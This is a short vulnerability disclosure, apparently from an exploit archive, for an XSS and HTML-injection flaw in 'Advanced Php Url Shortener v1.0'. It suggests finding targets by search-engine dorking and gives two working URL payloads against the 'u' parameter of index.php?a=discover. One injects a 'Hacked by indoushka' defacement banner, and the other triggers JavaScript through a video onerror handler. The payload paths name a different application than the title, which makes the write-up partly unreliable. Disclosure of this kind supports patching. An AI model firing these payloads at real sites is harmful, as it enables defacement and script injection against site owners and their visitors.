==================================================================================================================================== | # Title : Advanced Php Url Shortener v 1.0 Xss Vulnerability | | # Author : indoushka | | # Tested on : windows 10 Français V.(Pro) | | # Vendor : http://www.dl.persianscript.ir/script/advanced-php-url-shortener(PersianScript.ir).rar | | # Dork : | ==================================================================================================================================== P0C : [+] Dorking İn Google Or Other Search Enggine . [+] HTML Inject : [+] use payload : =%3Cmarquee%3E%3Cfont%20color=lime%20size=32%3EHacked%20by%20indoushka%3C/font%3E%3C/marquee%3E [+] http://127.0.0.1/social.pricopinfo/index.php?a=discover&u=%3Cmarquee%3E%3Cfont%20color=lime%20size=32%3EHacked%20by%20indoushka%3C/font%3E%3C/marquee%3E XSS : [+] use payload : index.php?a=discover&u=skylargrey%3Cvideo%3E%3Csource%20onerror%3d%22javascript:prompt%28966118%29%22%3E [+] http://127.0.0.4/social.pricopinfo//index.php?a=discover&u=skylargrey%3Cvideo%3E%3Csource%20onerror%3d%22javascript:prompt%28966118%29%22%3E ====Greetings to :======================================================================================================================= | jericho * Larry W. Cashdollar * brutelogic* hyp3rlinx* CraCkEr * djroot.dz * LiquidWorm* Hussin-X *D4NB4R * shadow_00715 * yasMouh | =========================================================================================================================================